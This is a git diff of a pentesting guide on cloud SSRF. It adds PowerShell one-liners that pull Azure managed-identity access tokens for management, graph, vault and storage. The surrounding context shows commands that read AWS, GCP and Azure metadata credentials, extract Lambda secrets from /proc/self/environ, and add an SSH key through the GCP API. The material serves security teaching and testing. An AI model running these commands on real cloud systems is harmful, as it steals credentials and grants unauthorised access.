diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 7cdb561ae..68951fe99 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -111,7 +111,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null | > [!NOTE] > Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role. -### SSRF for AWS Lambda +### SSRF for AWS Lambda In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**. @@ -126,7 +126,7 @@ Moreover, in addition to IAM credentials, Lambda functions also have **event dat > [!WARNING] > Note that **lambda credentials** are inside the **env variables**. So if the **stack trace** of the lambda code prints env vars, it's possible to **exfiltrate them provoking an error** in the app. -### SSRF URL for AWS Elastic Beanstalk +### SSRF URL for AWS Elastic Beanstalk We retrieve the `accountId` and `region` from the API. @@ -145,11 +145,11 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. -## GCP +## GCP You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). -### SSRF URL for Google Cloud +### SSRF URL for Google Cloud Requires the HTTP header **`Metadata-Flavor: Google`** and you can access the metadata endpoint in with the following URLs: @@ -260,7 +260,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true > gcloud config unset auth/access_token_file > ``` -### Add an SSH key +### Add an SSH key Extract the token @@ -289,7 +289,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` -### Cloud Functions +### Cloud Functions The metadata endpoint works the same as in VMs but without some endpoints: @@ -318,7 +318,7 @@ for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMeta done ``` -## Digital Ocean +## Digital Ocean > [!WARNING] > There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials @@ -337,7 +337,7 @@ http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one re curl http://169.254.169.254/metadata/v1.json | jq ``` -## Azure +## Azure ### Azure VM @@ -442,7 +442,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h {{#endtab}} {{#endtabs}} -### Azure App & Functions Services +### Azure App & Functions Services & Automation Accounts From the **env** you can get the values of **`IDENTITY_HEADER`** and **`IDENTITY_ENDPOINT`**. That you can use to gather a token to speak with the metadata server. @@ -519,57 +519,28 @@ $storageToken = Get-Token -Resource "https://storage.azure.com/" Write-Host "Storage Token: $storageToken" +# Using oneliners +## Get management token +(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token +## Get graph token +(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token +## Get vault token +(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token +## Get storage token +(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token - -# API request in powershell to management endpoint -$Token = 'eyJ0eX..' -$URI='https://management.azure.com/subscriptions?api-version=2020-01-01' -$RequestParams = @{ - Method = 'GET' - Uri = $URI - Headers = @{ - 'Authorization' = "Bearer $Token" - } -} -(Invoke-RestMethod @RequestParams).value - -# API request to graph endpoint (get enterprise applications) -$Token = 'eyJ0eX..' -$URI = 'https://graph.microsoft.com/v1.0/applications' -$RequestParams = @{ - Method = 'GET' - Uri = $URI - Headers = @{ - 'Authorization' = "Bearer $Token" - } -} -(Invoke-RestMethod @RequestParams).value - -# Using AzureAD Powershell module witho both management and graph tokens -$token = 'eyJ0e..' -$graphaccesstoken = 'eyJ0eX..' -Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc - -# Try to get current perms over resources -Get-AzResource -## The following error means that the user doesn't have permissions over any resource -Get-AzResource : 'this.Client.SubscriptionId' cannot be null. -At line:1 char:1 -+ Get-AzResource -+ ~~~~~~~~~~~~~~ - + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException - + FullyQualifiedErrorId : -Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet +## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with: +Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ``` {{#endtab}} {{#endtabs}} -## IBM Cloud +## IBM Cloud > [!WARNING] > Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM